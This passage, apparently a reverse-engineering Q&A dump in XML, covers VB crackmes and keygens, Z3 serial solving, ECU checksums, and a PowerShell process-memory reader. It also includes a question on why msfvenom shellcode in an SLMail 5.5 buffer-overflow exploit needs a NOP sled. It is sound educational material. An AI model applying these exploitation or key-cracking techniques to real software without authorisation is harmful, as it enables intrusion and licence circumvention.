  <row Id="15737" PostTypeId="2" ParentId="15736" CreationDate="2017-07-01T15:16:50.257" Score="2" Body="&lt;p&gt;Use a dedicated VB decompiler - you can find links to few of them on &lt;a href=&quot;https://stackoverflow.com/questions/1406015/decompiler-for-visual-basic-6-program&quot;&gt;StackOverflow&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;VB programs has a special format that is quite easy to understand - &lt;a href=&quot;http://reteam.org/papers/e46.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://reteam.org/papers/e46.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2017-07-01T15:16:50.257" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15741" PostTypeId="2" ParentId="15728" CreationDate="2017-07-01T19:01:05.600" Score="2" Body="&lt;p&gt;you can craft a powershell script in case of emergency  (no python no internet only base machine cant install anything whatever )   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the code below is rubbish hack you may need to declare proper managed types    etc to make it robust it is just to show an idea   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$procid = (Get-Process -Name $args[0]).Id&#xA;$baseaddr = (Get-Process -Name $args[0] -Module)[0].BaseAddress;&#xA;$signature = @&quot;&#xA;[DllImport(&quot;kernel32.dll&quot;)] public static extern IntPtr OpenProcess(&#xA;    uint h,bool b ,uint p);&#xA;[DllImport(&quot;kernel32.dll&quot;)] public static extern bool ReadProcessMemory(&#xA;    IntPtr hp,IntPtr Base,[Out]Byte[] buff,int Size,[Out]int bread);&#xA;&quot;@&#xA;$rpm = Add-Type -MemberDefinition $signature -Name rpm -PassThru&#xA;[Byte[]] $buff = New-Object Byte[](256)&#xA;[int]$bread =0;&#xA;$proc = $rpm::OpenProcess(0x001F0FFF,0,$procid);&#xA;$read = $rpm::ReadProcessMemory($proc,$baseaddr,$buff,256,$bread);&#xA;$a = &quot;&quot;;&#xA;$a+=[char[]]$buff[0..1]+[char[]]$buff[78..118]&#xA;$procid&#xA;&quot;{0:X}&quot; -f [int]$baseaddr&#xA;$a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;running it like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;powershell -f foo.ps1 note*&#xA;3388&#xA;8D0000&#xA;M Z T h i s   p r o g r a m   c a n n o t   b e   r u n   i n   D O S   m o d e .&#xA;&#xA;powershell -f foo.ps1 exp*&#xA;304&#xA;C40000&#xA;M Z T h i s   p r o g r a m   c a n n o t   b e   r u n   i n   D O S   m o d e .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-07-01T19:01:05.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15742" PostTypeId="2" ParentId="15736" CreationDate="2017-07-01T20:34:34.973" Score="1" Body="&lt;p&gt;As i commmented vb has its own set of functions&lt;br&gt;&#xA;the fuction you have to look for in the 3rd crackme are&lt;br&gt;&#xA;rtcMidCharVar()&lt;br&gt;&#xA;vbastrvarval() ,&lt;br&gt;&#xA;rtcAnsiValueBstr()&lt;br&gt;&#xA;_vbavarmul()    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the algo loops over the name characters&lt;br&gt;&#xA;adds a constant to each&lt;br&gt;&#xA;multiplies the result with another variable&lt;br&gt;&#xA;and adds up all of them that is your serial&lt;br&gt;&#xA;if you give the right serial you get a msgbox with password &lt;strong&gt;axxxxxxo&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a simple keygen in powershell  can look like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $b =0;$a = SOMECONSTANT;@('d','u','g','g') | % { $c= (([int][char]$_ + SOMEOTHERCONSTANT) * AVARIABLE);($b+=$c) };$b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YcOlq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YcOlq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit ,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;vb does not use registers mostly   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it uses a &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms221627(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;VARIANT&lt;/a&gt; structure for almost all functions and uses stack       &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you use windbg you can take a look at the structure with    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;dt ole32!VARIANT&lt;/strong&gt;     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;basically it is a ten byte long structure consisting of an union   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dt -v ole32!Variant&#xA;struct tagVARIANT, 50 elements, 0x10 bytes  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the first member  vt (SHORT int2b) indicates the variant type&lt;br&gt;&#xA;(find Wtypes.h and look for  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;enum VARENUM&#xA;    {&#xA;        VT_EMPTY    = 0,&#xA;        VT_NULL = 1,&#xA;        VT_I2   = 2,&#xA;        VT_I4   = 3,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the next 3 SHORTS are reserved&lt;br&gt;&#xA;the value at 0x08 is to deciphered based on the value of vt member&lt;br&gt;&#xA;the member at 0x0c is pRecInfo&lt;br&gt;&#xA;the member at 0x10 is tagDec an array  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now that part is clear the function __vbaVarMul Takes three Arguments of type VARIANT &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the first is the result &#xA;the second is multiplier &#xA;the third is multiplicand&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a redacted windbg output for char 'd'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; ? poi(@esp)&#xA;Evaluate expression: 1241928 = 0012f348&#xA;0:000&amp;gt; ? poi(@esp+4)&#xA;Evaluate expression: 1241944 = 0012f358&#xA;0:000&amp;gt; ? poi(@esp+8)&#xA;Evaluate expression: 1241880 = 0012f318&#xA;0:000&amp;gt; dt ole32!Variant vt poi(@esp)&#xA;   +0x000 vt : 0  &amp;lt;---- vb NULL / v_EMPTY&#xA;0:000&amp;gt; dt ole32!Variant vt poi(@esp+4)&#xA;   +0x000 vt : 3 &amp;lt;-------vbLong &#xA;0:000&amp;gt; dt ole32!Variant vt poi(@esp+8)&#xA;   +0x000 vt : 2  &amp;lt;-----vbInt&#xA;&#xA;0:000&amp;gt; .enable_long_status 1&#xA;&#xA;0:000&amp;gt; dt ole32!Variant lVal poi(@esp)&#xA;   +0x008 lVal : 0x12f3f0&#xA;0:000&amp;gt; dt ole32!Variant lVal poi(@esp+4)&#xA;   +0x008 lVal : 0xxx&#xA;0:000&amp;gt; dt ole32!Variant lVal poi(@esp+8)&#xA;   +0x008 lVal : 0xxxx&#xA;0:000&amp;gt; ? 'd' + xxx&#xA;Evaluate expression: xxxx = 00000xxx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-07-02T13:09:41.613" LastActivityDate="2017-07-02T13:09:41.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15743" PostTypeId="2" ParentId="15732" CreationDate="2017-07-01T21:56:51.073" Score="1" Body="&lt;p&gt;After a little digging I got it. Right click your Dump to change data types between address and float. You have to follow the address of the address pointed to by esp-4 to get the parameters.&lt;/p&gt;&#xA;" OwnerUserId="20730" LastActivityDate="2017-07-01T21:56:51.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15744" PostTypeId="1" CreationDate="2017-07-02T02:32:10.160" Score="4" ViewCount="262" Body="&lt;p&gt;I have this pseudo code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v5 = serial[6] + serial[0] - serial[7] - serial[2];&#xA;LOBYTE(v5) = serial[1];&#xA;v8 = serial[3] + v5 - serial[4];&#xA;if ( v8 != serial[5] )&#xA;    goto FAIL;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The variable &lt;code&gt;serial[]&lt;/code&gt; is an array representing the bytes of the key &lt;code&gt;abcdefgh&lt;/code&gt;. Dor example, &lt;code&gt;serial[0] = 0x61&lt;/code&gt;. If we assume that &lt;code&gt;serial[5]&lt;/code&gt; is &lt;code&gt;0x66&lt;/code&gt; (the letter 'f'), how can I calculate the needed key to get a &lt;code&gt;0x66&lt;/code&gt; in &lt;code&gt;v8&lt;/code&gt; as you can see some calculations are done to decide the possible values of &lt;code&gt;v8&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20771" LastEditorUserId="53" LastEditDate="2017-07-04T11:00:08.427" LastActivityDate="2017-07-04T11:00:08.427" Title="Generating a key for a simple algorithm" Tags="|cryptography|math|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15745" PostTypeId="1" AcceptedAnswerId="15746" CreationDate="2017-07-02T05:50:08.973" Score="3" ViewCount="1757" Body="&lt;p&gt;I'm trying to understand the exploit for SLMail 5.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the basic flow :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I'm able to control EIP and point to an instruction &quot;JMP ESP&quot;&lt;/li&gt;&#xA;&lt;li&gt;ESP is pointing to the exact start position of my shellcode.&#xA;(Shell code is encoded with shikata_ga_nai encoder in msfvenom)&lt;/li&gt;&#xA;&lt;li&gt;As ESP is pointing to the exact location which I want, I feel I don't think nop slide is required.But i'm seeing wired results when nop is not used.I hope some can shed some light on this.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;4) Below are the first few instructions that my shellcode has without NOP slide, as soon as the highlighted &lt;strong&gt;weird instruction&lt;/strong&gt; is executed, the instructions in the memory are getting changed (So weird!!)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0159A128   BF A849F49D      MOV EDI,9DF449A8&#xA;0159A12D   D9E5             FXAM&#xA;0159A12F   D97424 F4        FSTENV (28-BYTE) PTR SS:[ESP-C] &amp;lt;-- Weird instruction&#xA;0159A133   5B               POP EBX&#xA;0159A134   33C9             XOR ECX,ECX&#xA;0159A136   B1 52            MOV CL,52&#xA;0159A138   317B 12          XOR DWORD PTR DS:[EBX+12],EDI&#xA;0159A13B   83EB FC          SUB EBX,-4&#xA;0159A13E   03D3             ADD EDX,EBX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My memory looks this after the execution of the highlighted instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0159A12F   0100             ADD DWORD PTR DS:[EAX],EAX&#xA;0159A131   0000             ADD BYTE PTR DS:[EAX],AL&#xA;0159A133   0000             ADD BYTE PTR DS:[EAX],AL &amp;lt;--Jumping here after the weird instruction&#xA;0159A135   00FF             ADD BH,BH&#xA;0159A137   FF31             PUSH DWORD PTR DS:[ECX]&#xA;0159A139   7B 12            JPO SHORT 0159A14D&#xA;0159A13B   83EB FC          SUB EBX,-4&#xA;0159A13E   03D3             ADD EDX,EBX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But with NOP slide appended to the shellcode, the below instruction which is actually in the line of execution gets excuted weithouit any hassle and making the exploit to work.... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0159A133   5B               POP EBX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain why I need NOP slide to stop this weird behavior.&#xA;Thank You.&lt;/p&gt;&#xA;" OwnerUserId="20408" LastActivityDate="2017-07-02T09:26:27.947" Title="Why shell code only with nop slide working for me?" Tags="|exploit|metasploit|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15746" PostTypeId="2" ParentId="15745" CreationDate="2017-07-02T09:26:27.947" Score="6" Body="&lt;p&gt;Let's look up what the &lt;a href=&quot;http://x86.renejeschke.de/html/file_module_x86_id_119.html&quot; rel=&quot;noreferrer&quot;&gt;&quot;weird instruction&quot;&lt;/a&gt; does:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Saves the current FPU operating environment &lt;strong&gt;at the memory location&#xA;  specified with the destination operand&lt;/strong&gt;, and then masks all&#xA;  floating-point exceptions. The FPU operating environment consists of&#xA;  the FPU control word, status word, tag word, instruction pointer, data&#xA;  pointer, and last opcode&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In our case, the destination is &lt;code&gt;ESP-C&lt;/code&gt;, which is 12 bytes before the start of the code (if code starts at &lt;code&gt;ESP&lt;/code&gt;). Since the FPU state is 28 bytes, it goes further and &lt;em&gt;overwrites the beginning of shellcode&lt;/em&gt; with the FPU values. If you add a NOP sled, the sled gets overwritten which has no effect because it won't be executed again. Without the sled, the &lt;em&gt;currently executing instructions&lt;/em&gt; are overwritten which breaks the shellcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently &lt;code&gt;FSTENV&lt;/code&gt; is used as a part of the &quot;getpc&quot; primitive (one of the values stored is the current &lt;code&gt;EIP&lt;/code&gt;) and it requires some stack space for the environment. So you need to ensure that either you have free space around &lt;code&gt;ESP&lt;/code&gt; or add a NOP sled for padding. Or you can try modifying the encoder to use a more common call $+5/pop ebx sequence which would overwrite only one dword at ESP.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-07-02T09:26:27.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15747" PostTypeId="1" AcceptedAnswerId="15749" CreationDate="2017-07-02T12:19:00.777" Score="0" ViewCount="79" Body="&lt;p&gt;Many applications (in particular most games) offer a set of resolutions to choose from. Some of them are pretty open and allow basically every resolution the underlying system seems to be capable of, others are pretty restrictive and offer just a small set of resolutions. If the difference between offered and native resolution is too big, the application becomes hardly usable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my search for a solution, the amount of resolution-mods available and especially &lt;a href=&quot;http://www.wsgf.org/forums/viewtopic.php?t=28001&quot; rel=&quot;nofollow noreferrer&quot;&gt;this thread&lt;/a&gt; made me curious: How does one find out where an application stores the resolutions it allows? And also, how does one find out what to insert instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remark: I legally own (bought) the installers for all applications I want to experiment with. They are sold DRM-free and I do not redistribute any parts, it's just for my personal use. Therefore I assume, that my intent is perfectly valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: @BrandonBryant's comment made me realize that my question is to broad and I apologize for this. I don't think that I can improve my question much, since I don't really know what to ask for specifically. If it's not off-topic, any hint on &quot;How to get started?&quot; would be highly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="20777" LastEditorUserId="20777" LastEditDate="2017-07-03T08:24:29.370" LastActivityDate="2017-07-04T01:59:54.857" Title="How to find out where an application stores the resolutions it allows?" Tags="|binary-analysis|binary|binary-format|binary-diagnosis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15749" PostTypeId="2" ParentId="15747" CreationDate="2017-07-03T10:20:38.573" Score="1" Body="&lt;p&gt;One method (theoretical at this point) that comes to mind is searching for constants like resolution numbers in instructions for example, a game uses 600x800 resolution - you might find instructions like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push 0x320 #800 in decimal&#xA;push 0x258 #600 in decimal&#xA;call initwindowfunction_orsomething&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or it might reference integers stored in a data section or allocated memory, or use a completely different method.&#xA;that is one example however, and of course there are many many different ways they might do this I hope this can get you started or at least help you come up with some ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no practical research that supports this yet, but will try to find something in my free time&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--EDIT--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another idea is to look at different open source games, maybe ones similar to your target, and figure out how they do it.&lt;/p&gt;&#xA;" OwnerUserId="19064" LastEditorUserId="19064" LastEditDate="2017-07-04T01:59:54.857" LastActivityDate="2017-07-04T01:59:54.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15751" PostTypeId="2" ParentId="15744" CreationDate="2017-07-03T16:16:21.997" Score="4" Body="&lt;p&gt;Well, the equation is pretty simple, you say that the hashing is done through the following formula:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v5 = serial[6] + serial[0] - serial[7] - serial[2];&#xA;LOBYTE(v5) = serial[1];&#xA;v8 = serial[3] + v5 - serial[4];&#xA;if ( v8 != serial[5] )&#xA;    goto FAIL;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can use an SMT-solver, such as Z3 to find out a possible key for these equations:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; python&#xA;Python 2.7.13 (default, Jan 19 2017, 14:48:08) &#xA;[GCC 6.3.0 20170118] on linux2&#xA;Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.&#xA;&amp;gt;&amp;gt;&amp;gt; from z3 import *&#xA;&amp;gt;&amp;gt;&amp;gt; serial0 = BitVec('serial0', 8)&#xA;&amp;gt;&amp;gt;&amp;gt; serial1 = BitVec('serial1', 8)&#xA;&amp;gt;&amp;gt;&amp;gt; serial2 = BitVec('serial2', 8)&#xA;&amp;gt;&amp;gt;&amp;gt; serial3 = BitVec('serial3', 8)&#xA;&amp;gt;&amp;gt;&amp;gt; serial4 = BitVec('serial4', 8)&#xA;&amp;gt;&amp;gt;&amp;gt; serial5 = BitVec('serial5', 8)&#xA;&amp;gt;&amp;gt;&amp;gt; serial6 = BitVec('serial6', 8)&#xA;&amp;gt;&amp;gt;&amp;gt; serial7 = BitVec('serial7', 8)&#xA;&amp;gt;&amp;gt;&amp;gt; v5 = BitVec('v5', 16)&#xA;&amp;gt;&amp;gt;&amp;gt; v8 = BitVec('v8', 16)&#xA;&amp;gt;&amp;gt;&amp;gt; v5 = ((serial6 + serial0 - serial7 - serial2) &amp;amp; 0xff00) + serial1&#xA;&amp;gt;&amp;gt;&amp;gt; v8 = serial3 + v5 - serial4&#xA;&amp;gt;&amp;gt;&amp;gt; s = Solver()&#xA;&amp;gt;&amp;gt;&amp;gt; s.add(v8 == serial5)&#xA;&amp;gt;&amp;gt;&amp;gt; s.check()&#xA;sat&#xA;&amp;gt;&amp;gt;&amp;gt; s.model()&#xA;[serial3 = 0, serial1 = 0, serial4 = 0, serial5 = 0]&#xA;&amp;gt;&amp;gt;&amp;gt; &#xA;&amp;gt;&amp;gt;&amp;gt; s.add(serial1 != 0)&#xA;&amp;gt;&amp;gt;&amp;gt; s.check()&#xA;sat&#xA;&amp;gt;&amp;gt;&amp;gt; s.model()&#xA;[serial1 = 128, serial3 = 172, serial5 = 0, serial4 = 44]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As, I got a degenerated solution, I added the constraint that &lt;code&gt;serial1&lt;/code&gt; has to be different from zero. In fact, you can add any constraint as you wish (you may try to force the serials to be within the standard printable ASCII characters if you wish (beware, it may admit no solution!).&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2017-07-03T16:16:21.997" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15752" PostTypeId="1" CreationDate="2017-07-03T18:36:56.810" Score="5" ViewCount="1938" Body="&lt;p&gt;I am seeking for a CRC calculation on EEPROM content. I try to add options to my car with BOSCH ECU. MCU in this ECU is Tricore TC1793 and EEPROM content seems to be divided into blocks of 128 bytes each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to change a byte from one block, ECU stop working so I get another ECU from another car and grab some blocks to compare :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;a Block from my ECU:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;26 13 01 00 89 00 00 00 00 00 00 00 00 00 00 00&#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 BD 8E&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Same ID (26 13) Block from another ECU:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;26 13 01 00 00 00 00 00 00 00 00 00 00 00 00 00 &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 C1 69&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another block from my ECU with same data (as number 1) except first 2 bytes: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6A DF 01 00 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 A8 E5&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another block from my ECU:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A9 68 01 00 1B 09 CB 0D FF 7F 00 80 FF 7F 00 80  &#xA;FF 7F 00 80 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 71 DD&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;0xA968&lt;/code&gt; from the other one ECU:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A9 68 01 00 FF 7F 00 80 FF 7F 00 80 FF 7F 00 80  &#xA;FF 7F 00 80 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  &#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 74&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think first 2 bytes is an ID and I think the two last bytes are a checksum and I am sure that CRC is calculated depending first two bytes cause with another block with same data but two first bytes different CRC differs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to found some clues with Reveng but not found anything...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone can help me to found how this checksum is calculated or give me some clues to investigate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;a href=&quot;https://mega.nz/#F!rA5wET5a!0quVDPyia0cmatVj_v27KA&quot; rel=&quot;nofollow noreferrer&quot;&gt;full data of my ECU&lt;/a&gt; (eeprom + mcu flash TC1793).&lt;/p&gt;&#xA;" OwnerUserId="20790" LastEditorUserId="53" LastEditDate="2017-07-17T17:10:17.537" LastActivityDate="2023-12-08T00:30:24.063" Title="Unknown CRC calculation" Tags="|ida|disassembly|decryption|cryptography|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15755" PostTypeId="2" ParentId="15744" CreationDate="2017-07-04T09:51:36.340" Score="3" Body="&lt;p&gt;expanding a bit on the answer by perror and my initial hypothesis   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the result for the provided input string &lt;strong&gt;&quot;abcdefgh&quot;&lt;/strong&gt; would result in &lt;strong&gt;&quot;b+d-e = f&quot;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;providing constraints for input string z3 indeed returns back &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the char &lt;strong&gt;&quot;a&quot;&lt;/strong&gt; as the first possible model() here is a slightly modified &#xA;python script posted by perror in his answer&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat z3t.py&#xA;from z3 import *&#xA;s0,s1,s2,s3,s4,s5,s6,s7 = BitVecs( 's0 s1 s2 s3 s4 s5 s6 s7', 8)&#xA;v5,v8 = BitVecs ('v5 v8', 16)&#xA;v5 = ((s6 + s0 - s7 - s2) &amp;amp; 0xff00) | s1&#xA;v8 = s3 + v5 - s4&#xA;s = Solver()&#xA;s.add(v8 == s5,s0 == ord('a'),s1 == ord('b'),s2 == ord('c'),s3 == ord('d'))&#xA;s.add(s4 == ord('e'), s5 &amp;gt; 0x60,s6 == ord('g'),s7 == ord('h'))&#xA;s.check()&#xA;print chr((s.model()[s5]).as_long())&#xA;&#xA;&#xA;:\&amp;gt;python .\z3t.py&#xA;a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-07-04T10:39:02.227" LastActivityDate="2017-07-04T10:39:02.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15756" PostTypeId="1" AcceptedAnswerId="15757" CreationDate="2017-07-04T12:40:57.030" Score="1" ViewCount="263" Body="&lt;p&gt;For example I have eax 7c9100a4 -&gt; ntdll.RtlCreateHeap&#xA;I can get reg value in my plugin but I can't get the api name&#xA;How can get the correct api name from the address?&lt;/p&gt;&#xA;" OwnerUserId="20797" LastActivityDate="2017-07-04T15:34:37.717" Title="How to get API name from address in registry value in IDA plugin" Tags="|ida|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15757" PostTypeId="2" ParentId="15756" CreationDate="2017-07-04T15:02:47.723" Score="1" Body="&lt;pre&gt;&lt;code&gt;NameEx(BADADDR, GetRegValue(&quot;EAX&quot;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12794" LastEditorUserId="53" LastEditDate="2017-07-04T15:34:37.717" LastActivityDate="2017-07-04T15:34:37.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15758" PostTypeId="1" CreationDate="2017-07-04T17:43:53.160" Score="1" ViewCount="1373" Body="&lt;p&gt;I did a ldd on /bin/cat and I see that dynamic loader library /lib64/ld-linux-x86-64.so.2 is a part of it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ldd /bin/cat&#xA;    linux-vdso.so.1 (0x00007ffe743f4000)&#xA;    libc.so.6 =&amp;gt; /lib64/libc.so.6 (0x00007fde4f0a1000)&#xA;    /lib64/ld-linux-x86-64.so.2 (0x000056057639c000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However my problem started when I performed an strace over this binary (&lt;strong&gt;strace -o cat.trace /usr/bin/ls /etc/motd&lt;/strong&gt;) and could not find it being loaded. I was assuming that it should be the first one to be loaded by kernel.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;execve(&quot;/usr/bin/ls&quot;, [&quot;/usr/bin/ls&quot;, &quot;/etc/motd&quot;], 0x7ffe9e6a8d38 /* 56 vars */) = 0&#xA;brk(NULL)                               = 0x5650331a2000&#xA;mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f39527b9000&#xA;access(&quot;/etc/ld.so.preload&quot;, R_OK)      = -1 ENOENT (No such file or directory)&#xA;open(&quot;/etc/ld.so.cache&quot;, 